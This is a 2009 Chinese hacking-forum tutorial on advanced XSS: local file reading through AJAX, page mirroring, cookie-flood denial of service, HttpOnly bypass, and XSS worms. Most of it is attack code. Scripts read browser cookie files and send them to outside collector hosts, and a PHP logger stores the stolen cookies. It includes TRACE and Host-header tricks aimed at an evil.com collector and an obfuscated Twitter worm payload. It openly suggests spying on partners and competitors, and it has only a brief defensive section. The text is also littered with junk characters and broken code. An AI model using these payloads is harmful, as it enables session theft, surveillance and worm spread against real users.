XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页
* I( ~' Y5 t$ @) r1 L+ r9 K1 s本帖最后由 racle 于 2009-5-30 09:19 编辑
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XSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页
V8 ]2 U' M( U2 ZBy racle@tian6.com
3 o1 L! |7 f6 N7 M: h* I5 o6 F7 ehttp://bbs.tian6.com/thread-12711-1-1.html
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" `5 e5 ]) ?0 N% M/ `-------------------------------------------前言---------------------------------------------------------
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本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.
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4 e0 \" w) J6 C如果你还未具备基础XSS知识,以下几个文章建议拜读:) u; r* X: D/ h2 z' J: Q
http://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/ JavaScript中文简介
" F9 g( e. @+ G! N* \" ]( mhttp://www.google.com/search?q=XSS+%D3%EF%BE%E4 XSS语句大全4 R2 J3 U" k3 M" v
http://www.google.com/search?q=XSS+%C8%C6%B9%FD XSS语句绕过
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http://bbs.tian6.com/thread-12239-1-1.html 突破XSS字符数量限制执行任意JS代码
% [6 P. C: _9 Fhttp://bbs.tian6.com/thread-12241-1-1.html 利用窗口引用漏洞和XSS漏洞实现浏览器劫持$ X0 t9 ]2 ~# H# U
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2 N1 {$ e5 \1 L, i# d6 _. J& |如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.3 F9 {0 H1 U! B8 Y2 T9 \1 F
; _. a; H* I3 z* g7 b! r4 x5 e希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.
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) }- R. r- [& X. h* w5 P$ n如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS 6次XSS蠕虫版本变化,% G! G7 `1 O" b" [' F
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Baidu xss蠕虫 感染了8700多个blog.媒体影响力,关注度巨大* [5 J, p- @( U7 v
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QQ ZONE,校内网XSS 感染过万QQ ZONE.
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% }/ P* H) g; d" [. yOWASP MYSPACE XSS蠕虫 20小时内传染一百万用户,最后导致MySpace瘫痪
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复制代码------------------------------------------介绍-------------------------------------------------------------* @! ~& t6 b4 ]: S, N6 a0 q
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什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.
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0 f0 \( E0 _2 _5 h- P跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息(Cookie),由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到., B5 Z$ e9 U) C2 H# c1 D
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如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.0 s4 c3 m8 N) Y$ {6 C# G
复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.$ M. ?/ A* M% I; M) y+ M: _
我们在这里重点探讨以下几个问题:3 x5 R( s3 _" l
* w/ ?3 k7 H' M$ G K9 Q1 D1 通过XSS,我们能实现什么?; W) H8 a9 V+ L& I0 C
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2 如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救? S$ Z; x+ h( G
) [ @9 f! ^" _. I3 XSS的高级利用和高级综合型XSS蠕虫的可行性?) W, y( v: N2 }: n* I+ J
" ~3 L7 A+ V* @5 ]$ {4 XSS漏洞在输出和输入两个方面怎么才能避免.$ C3 P. c: M, i% u5 d [
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------------------------------------------研究正题----------------------------------------------------------
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& p/ G. g) c" a( m9 W通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.
" g7 @4 y; q$ ?; Y7 e0 q6 B) ]复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫
6 p* p- n1 s: V, ^3 C& E; s复制代码XSS漏洞在输出和输入两个方面怎么才能避免.
! k/ }9 w/ }' w1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.
) N0 d$ K4 G' F2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.8 `$ D E( z/ V: L& Q
3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内./ e3 F7 E0 @4 h$ `$ B
4:Http-only可以采用作为COOKIES保护方式之一.; b, u% X, d4 U6 ^& I
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(I) AJAX在不同的浏览器下的本地文件操作权限 读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)3 l$ R6 M% z' n
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我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息: 1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的,看来MS对IE这类安全风险比较重视。(这有一些问题,随后修正!)1 T# T$ U& h8 u5 ]! C# P8 r
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2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。
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3: opera9.64及以下版本允许通过指定url为file://协议进行访问;如果文件在当前目录下,则不需要指定file://协议;如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。
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2 Q0 b9 Y# [* o 4: 基于webkit内核:google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.# g( [* t, C& a& X$ c7 A" i2 ~
复制代码IE6使用ajax读取本地文件 <script>
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var request = false;
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if(window.XMLHttpRequest) {
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request = new XMLHttpRequest();8 i- W9 i$ I; e! r$ {3 Y
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} else if(window.ActiveXObject) {7 C. f; R' M( E6 f* f+ y+ d
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var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',5 V* Z/ n3 q, a* f
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'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];9 i7 Y- m2 i+ m: t" _4 O
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for(var i=0; i<versions.length; i++) {
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request = new ActiveXObject(versions);
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}
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var _x = ajax_obj();) A+ C+ {+ z8 Q/ L' R; G& y8 A' P( P
C) x- h$ f9 k) }5 ?" F+ O# b function _7or3(_m,action,argv){3 O, s' ]; P# c7 I) w
, V& j* e$ A9 L! s+ b _x.open(_m,action,false);* w" P- E& W* I- y6 d/ }4 s9 H
. V3 n& ]. z4 T, Z$ r( q if(_m==" OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");, ~. |# b3 e- H, _# P
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_x.send(argv);
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return _x.responseText;
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}
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</script>) c* p/ R* @- _* l7 P; Y2 F
复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件. <script>3 z0 B& y6 R4 w! F1 x; m- W
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var request = false;
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if(window.XMLHttpRequest) {
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request = new XMLHttpRequest();
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9 {+ b7 {+ e$ B# ] } else if(window.ActiveXObject) {5 y; L9 [/ N, B2 u {1 A! A
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" ^; x$ c# {# p$ v 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
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try {
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return request;7 P5 T9 p3 `/ {1 Q. n2 G
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var _x = ajax_obj();
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function _7or3(_m,action,argv){/ k2 ]; m$ u c# U0 i( p
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_x.open(_m,action,false);
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if(_m==" OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");6 A! r' n8 Z- R
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_x.send(argv);
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return _x.responseText;
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var txt=_7or3("GET","1/11.txt",null);6 `5 N% x0 C5 F
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</script>8 q' D' l5 C& @# F V7 P
复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”
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6 P( B' ~( S; N2 o2 J) NChrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"
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- K/ i' a" ?" ^/ ?# I+ B+ d5 F0 a! ? Chrome 1.0.154.53 use ajax read local txt file and upload exp 2 N, {% |6 C/ I4 ^& D+ Q
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author voidloafer@gmail.com 2009-4-22 + i# _: z( H) o Y# |6 T
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*/
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header("Content-Disposition: attachment;filename=kxlzx.htm");
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7 o3 O- h3 Q: ?0 ?header("Content-type: application/kxlzx");
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& k) o3 d5 R% x0 E, H$ Q/* 5 t& M+ e, W3 _1 M \
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set header, so just download html file,and open it at local.
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*/
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5 L& u x2 k# j S<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method=" OST">
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, Z& H7 n% f( Z3 |' [ <input id="input" name="cookie" value="" type="hidden">
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6 G3 D" U8 V7 K% c1 g" [7 p</form> . H5 r" `! a% w( v
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<script> }' s2 c- p/ d# h1 t- Z
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- N1 C" o- K2 Uvar time = Math.random();
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, c+ \9 o( w1 H" Ethe cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default
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and the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History
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( H; b) \8 p* b* u9 K! dand so on... 3 F7 I2 ^4 F h G) b p) d- W; E7 B6 q
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& h0 m5 V$ k( ]; t+ Ovar strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time; 7 s6 I) |; J+ X) A j9 |
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% U4 s. G0 }# l. \7 LstartRequest(strPer);
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}
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2 s- ~- ]9 B8 b1 Q efunction Enshellcode(txt) # t6 f% N1 [1 S* C( d1 }6 v
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! Z& m6 t& c, s+ z3 k0 l: gvar url=new String(txt);
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9 s, M8 |6 H, P# e7 D1 hvar i=0,l=0,k=0,curl="";
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/ _9 W" h0 q* V+ Q5 ml= url.length;
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" D/ r% o3 C; p7 ]' {% e. ~for(;i<l;i++){ ( [# r0 a- n% O& g; J, A% v" b; Y
) I: z) b2 ~5 [. M4 X/ Pk=url.charCodeAt(i);
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if(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);}
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1 h0 j- I1 @/ N$ K# {. d; gif (l%2){curl+="00";}else{curl+="0000";}
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- U o# {: w; n1 V4 jcurl=curl.replace(/(..)(..)/g,"%u$2$1"); / K; v0 I1 d- C" d# x3 S& N
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return curl;
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}
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var xmlHttp; 9 }& d: M( N" u( ^$ ~2 ~' ]
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function createXMLHttp(){ 4 i' P+ D% N1 z7 o) m
% E$ y* V; r R, L
if(window.XMLHttpRequest){ 2 C/ j# N6 C* h0 w8 b/ ]
4 S! x3 z9 p. k2 O0 O3 ]/ Q& U' A% lxmlHttp = new XMLHttpRequest();
9 @# H7 I0 I# \0 H; i6 c/ V+ W4 w, |0 ~ k
} 1 z3 H, j8 r% n! v6 Q
4 d2 J d' S) r1 |. {1 S else if(window.ActiveXObject){ , W; ~: l4 u2 c. H' B% @9 H0 l
: i& I" q7 p' Y3 F0 exmlHttp = new ActiveXObject("Microsoft.XMLHTTP"); / Z" U+ e0 s1 I! s# F: X
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}
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}
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2 Q3 P- s) G6 D U! j9 p9 Y! c5 g
6 W' E1 l$ \: |3 `5 L7 }- yfunction startRequest(doUrl){ 0 y; ]+ k7 V5 b* S: L
/ |- J: D2 L7 D) K" l: h Q% U ) v" w( @( ^$ ]; a9 Y7 E
) R7 o( f; M# O8 |6 ?% @+ L! C createXMLHttp(); - L! [: y: r# g' P+ N
% s# }# k( S7 `% J% [7 w
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7 e) i' K7 s: Z% d' ~ xmlHttp.onreadystatechange = handleStateChange; + {( Y. a" }- m
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6 ?; n& i7 ?9 L( e) L. P xmlHttp.open("GET", doUrl, true);
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xmlHttp.send(null);
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5 O# z& z& o% s# y0 Y}
/ \/ ~, y2 s2 ?: }
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5 ^7 ^1 m: T: v0 I, |7 t
function handleStateChange(){ + ^# x- u+ S7 L9 e
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if (xmlHttp.readyState == 4 ){ & w$ V' s1 C! \& a
( L1 `: ~# b% C* J var strResponse = ""; % c% s5 d4 g q
/ l9 T1 x1 `' a7 { y5 ? setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000); 4 ?% ?7 u0 }! d4 ^
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}
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% @/ C5 B S4 }3 p: W! Cfunction framekxlzxPost(text) " U0 ]) r- q: o! G9 w
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document.getElementById("input").value = Enshellcode(text); % u: e7 z7 i. [( @' o7 R. o6 l
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document.getElementById("form").submit(); 8 [# ]; ^6 u. v* s( q
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}
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: X$ r' Q) G( ^+ rdoMyAjax("administrator");
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# d9 a$ ~$ E& R t. Z& A</script>
; o3 k4 ]+ j' X* a8 Q复制代码opera 9.52使用ajax读取本地COOKIES文件<script> . B# e& _! L8 @
. F: p% s( ]2 R W& H; i3 Q$ j+ }9 vvar xmlHttp; 1 |% D8 Y K7 h: r+ @
- `' L: B, z: v7 J
function createXMLHttp(){
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if(window.XMLHttpRequest){ ' \% F% E) T# ?; m; a& i% }
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xmlHttp = new XMLHttpRequest();
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Q! g7 |0 \% \2 I3 q } % q$ l9 q% u4 @& t* \ D6 Q
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else if(window.ActiveXObject){ 5 K& r4 c8 K7 p S; R e
( {: {0 f9 v: M7 `6 N4 J+ g( k! Z xmlHttp = new ActiveXObject("Microsoft.XMLHTTP"); $ Q3 M2 ^4 q' ^( j
+ ?9 I5 K0 `+ X T }
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}
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: R; }1 @* g: B8 w0 W+ e, V- s 2 Z. ^6 N' }; i# u
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function startRequest(doUrl){
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createXMLHttp();
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& f8 d! Q, C, i, O& ` xmlHttp.onreadystatechange = handleStateChange; + @! R9 f# T1 Z5 m# k" {; v) A
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xmlHttp.open("GET", doUrl, true); - P; [8 A2 u- e/ V1 ?
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/ d- u5 k5 u2 \: y# M3 M xmlHttp.send(null);
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. l6 S* _& {' F+ b( c8 {$ I: k. S# Q9 S# ~* z
function handleStateChange(){ 6 H$ l5 M1 [% z( M% j: y4 c5 J5 X
' q$ Q/ Q! l! e. p5 h
if (xmlHttp.readyState == 4 ){ % ~& w- @" t) t3 z$ e
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var strResponse = ""; / i( Z1 M- [8 t! m E/ Y
4 _0 y3 P1 v: f& v/ W) z
setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000); 4 @% \/ d& b- }3 Z; Q. P9 B( t
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}
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Q- q r: {6 q$ q3 Q# Pfunction doMyAjax(user,file)
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{ " B0 p6 C1 q: ^% j
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var time = Math.random();
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# C4 z/ V0 E) |# b6 ` var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time;
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# X0 D: v) p1 T$ T2 o startRequest(strPer); 9 t8 v$ t9 r4 F. B$ T
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} 4 H6 F; s6 l* \/ @/ `
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% _4 p. e, l3 ~function framekxlzxPost(text)
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; z! \' _9 @1 I: p: _, e e, {
document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text); ( i- i7 Q( z/ V( O
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alert(/ok/); ( K: z: a5 N% I+ u' T/ F
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doMyAjax('administrator','administrator@alibaba[1].txt'); 9 r/ {* a4 q8 G8 o8 v) X
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</script>8 z0 P6 f( @ @& o$ J
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a.php
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+ g. v! L/ \; a5 [, t$ ?' q+ w
<?php
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$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"];
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6 w% k( P3 W, ~$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"]; - F( k: x$ ]4 t, o& F7 D6 |
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: s7 b+ V) f- f! ~! S% L* t- I% F$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb");
% a+ O& T: b- e7 }& @+ W+ ?5 P* x8 h& R/ }3 v! r% n& K/ q% }
fwrite($fp,$_GET["cookie"]); 3 o- c6 K, p: }& J
0 U& |( [1 k6 q9 i; i$ d5 nfclose($fp); , X+ v) K( j* S
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$ l q! b9 f7 x/ \2 ~9 U复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:
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$ y& `6 @3 t) L或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.
) q4 ^+ A/ P6 @5 u, d利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.6 O2 d7 S8 I y) M) B, z$ d) _- O
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代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false); P: G: J- z E' ?) B+ A2 {
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//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);/ Z: I1 U- B; ~' T" r m
% l1 d; D m; W//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);
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function getURL(s) {
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N( k2 { ^7 v1 E, rvar image = new Image();
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image.style.width = 0;# T2 n7 a1 u( I, _ ?+ R6 I" d6 R
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image.style.height = 0;7 z, c- f, W; d* _; {
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image.src = s;
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}
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getURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);
; }( H9 r& q: g7 T5 Q) }7 Q$ \9 V复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.5 v" I) Y7 N' K. a
这里引用大风的一段简单代码:<script language="javascript">
% v% I, o! H. Q: u3 s- H3 D" C9 \# a! ?- X
var metastr = "AAAAAAAAAA"; // 10 A
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2 a6 L- |1 I+ a Q" T' avar str = "";
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while (str.length < 4000){/ N/ {( F3 O& o! f9 c1 ?( u$ h
% k. s$ e0 x/ o4 t4 O; h6 Y8 x+ h str += metastr;, \% r8 O/ N. ~% {! J2 p
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5 q, E% E ^1 m$ U& j9 fdocument.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;"; // 一些老版本的webserver可能在这里还会存在XSS6 S& @4 T2 [$ c& t( O2 Q2 p
9 G4 ? f" `* `, I: f</script>
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/ p9 \; b7 A' _9 z6 R详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html# o/ e1 [. ?1 ~' d; g
复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.
0 T4 t# r: m- Q& j; C8 K, j I( Xserver limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=150+ J7 Y% O/ T- e, h
+ q J6 T; x/ b: }- e假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.
7 L% h8 D5 f; Y I+ s w) u7 O3 n攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.
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7 u2 B8 H0 r5 I9 I(III) Http only bypass 与 补救对策:# y8 [/ ~! H4 C7 A# z$ ?0 \3 H
4 w4 v! R. }( j# u% ]什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性,用以阻止客户端脚本访问Cookie.- u4 D4 P( t) r, \: n
以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">. d6 {( p& M0 A
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<!--) ^3 a( c( D% t" S K" D; k
' R& T% l6 T6 j4 r4 kfunction normalCookie() { * S3 v' u4 m- k3 o
+ f# ^/ Y6 X" Rdocument.cookie = "TheCookieName=CookieValue_httpOnly";
5 u& W6 G+ z/ l# w% n) A9 N
1 I& y+ q& C L2 E" _alert(document.cookie);2 J- _4 I6 u; K' \, J
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. h, x" ^" H q) {" d' U# A% Qfunction httpOnlyCookie() {
9 v# m4 _$ `& [0 ?& E
: N' R r9 d1 E* z$ H" jdocument.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly";
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alert(document.cookie);}* H; p2 N: C7 M& z) F$ b4 u
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& E8 l8 z& |2 m2 z; h8 J% q3 ]. Z1 ]
//-->
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0 [9 L! h- w/ g</script>! N) l. O+ Q1 R8 e5 l
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<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>
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<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>
1 O" r X7 k0 S/ Y复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>
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2 e5 e+ {/ o; G' y8 e
& _+ q2 N4 E1 W3 A) n: j' c5 Q dvar request = false; h6 a6 V# u& u! Q4 Q
) Y3 q: f# J) j I" R if(window.XMLHttpRequest) {
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: |* s' N/ _5 l/ ?4 ^% b! t) O- p request = new XMLHttpRequest();
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if(request.overrideMimeType) {( N, I- ?2 x- c# |
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request.overrideMimeType('text/xml');9 j: h7 ? h( y1 |- F" q5 s
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* Z4 n1 x e+ ]
; T' m3 A/ o! M* _# _, B } else if(window.ActiveXObject) {# h$ D- A! X5 ?6 L: U
" M' `9 D6 u7 e2 |5 v0 C1 ` var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];3 F2 N$ Q$ N9 G6 b X; ^
7 ^5 L6 D- D2 P0 _
for(var i=0; i<versions.length; i++) {
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request = new ActiveXObject(versions);
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3 k! d- p: `' `# B/ @ } catch(e) {}5 n& A# c0 N6 S7 C
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}
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xmlHttp=request;) c0 ~1 s, e0 v' M b2 ?3 Y
1 _, k: @) X8 g/ \# dxmlHttp.open("TRACE","http://www.vul.com",false);% f9 s) h. j1 ~$ e" E" l1 J
: ~% R+ h. K/ i# F6 RxmlHttp.send(null);
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xmlDoc=xmlHttp.responseText;
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alert(xmlDoc);2 V% |+ j$ Q- `( X
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</script>
( r0 g# P3 x6 W复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>- e+ C8 t+ D$ H" _* l1 o6 @- W& y3 o
% A/ \/ t& R7 ^5 F! @var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
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/ E) Z! o: l8 |' |2 c; ^. Q2 KXmlHttp.open("GET","http://www.google.com",false);5 n6 M' H1 D; U9 T
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XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");8 V0 g0 ~& X+ b) w1 n4 E, F
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XmlHttp.send(null);
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var resource=xmlHttp.responseText% \; L7 O. n* G8 w) f1 \$ e# P
- W6 [" ]4 w+ Y- Sresource.search(/cookies/);
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6 |" c9 ?. M7 t* q5 ~......................
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0 y* T( R1 A+ s1 O</script>
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# B1 Q3 L2 F* `0 v6 t2 u
如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求, G; Q0 I' a( I: \+ A
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[code]+ Y& `% ]. A2 g# Q# P X
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RewriteEngine On0 s6 f3 a. I" e' I$ f
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RewriteCond %{REQUEST_METHOD} ^TRACE
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RewriteRule .* - [F]* b4 }# U: _1 T) _
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# E' ~& z7 ?, U( Q% k/ }7 A
1 b! a, r! l) v$ V( s0 {4 YSquid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求
+ J5 I8 o1 W( x8 x; k, j8 T
4 r* r/ S$ t6 `* }( B( ]! uacl TRACE method TRACE
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...8 A2 j! @! _- f2 h& A+ }
% d/ p2 E7 |8 {3 r" ahttp_access deny TRACE% y' x7 R1 i4 I8 w) o2 i
复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>
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var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");/ b; z( Z9 ? `, Q4 w2 H4 [
, }3 v6 i9 [# w8 XXmlHttp.open("GET","http://www.google.com",false);
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3 |9 p7 e& g: D) u7 f/ d& u" CXmlHttp.setRequestHeader("Host","www.evil.com/collet.php");
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XmlHttp.send(null);
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</script>. W# @) c) B' {) K* v
复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>
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. _( u( c) _, C Y% l- R6 Xvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");7 c1 V0 {, `" t/ D! r- O
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( n* b( X- o" M4 P- r1 a& j8 MXmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);
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XmlHttp.send(null);
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<script>
# F' D$ k C* [5 \# R6 o复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.
% T% V! J! Y5 {9 y复制代码案例:Twitter 蠕蟲五度發威
7 `7 b3 E6 G) F: }2 G" C9 h第一版:7 [7 V0 ]" u5 b# u2 z
下载 (5.1 KB)+ H, k+ y/ V, @
- ?* [9 f# K( [6 天前 08:27
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第二版: 1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", " OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", " OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""];
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5 s) V3 g h; H2 x2 K- r7 D 2.
9 d# z" Y9 l' m3 s2 x! f" y2 n& W2 Z% m% {. V' N5 E2 d
3. function XHConn(){
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4. var _0x6687x2,_0x6687x3=false; ! s: h/ u0 R* s; B% ^ Z
3 F% Z" C0 }: L 5. try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); } * A) S$ _# y! Z% I5 g
/ ~# f+ m, Y$ L$ m8 u/ D8 u1 y3 o
6. catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); } 1 v0 f9 W: A7 B+ l/ n& J; o
. U2 O. `, R2 u# V6 H 7. catch(e) { try { _0x6687x2= new XMLHttpRequest(); }
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8. catch(e) { _0x6687x2=false; }; }; }; 2 z( U+ Z* {" \% }7 M
复制代码第六版: 1. function wait() { ( Y1 Q R; x% `8 ]8 r
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2. var content = document.documentElement.innerHTML; % V. s% L( ~7 X0 R
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3. var tmp_cookie=document.cookie; 0 _3 V8 W6 x3 I7 Y% Z# k/ F8 p/ w
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4. var tmp_posted=tmp_cookie.match(/posted/); ! w' _! N, B, e, U7 c* A9 _
% m, L# J ~& ~6 j2 o; W! S 5. authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g); # D/ v0 i* \& U
0 l/ q$ W1 T& Y 6. var authtoken=authreg.exec(content); 4 X5 j8 ]1 w( F' t& N
! _" I! r( ]- @4 K 7. var authtoken=authtoken[1];
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8. var randomUpdate= new Array(); ' C! w& C0 k% W& C; `$ Y8 }
% z- z: s1 I% ]8 |( x3 h S 9. randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy."; t/ Y; B/ O: M' c/ k$ J
* T% j6 }5 P6 N+ Y0 B F2 _! S) l 10. randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy."; 6 Y4 e0 q& |- [) T
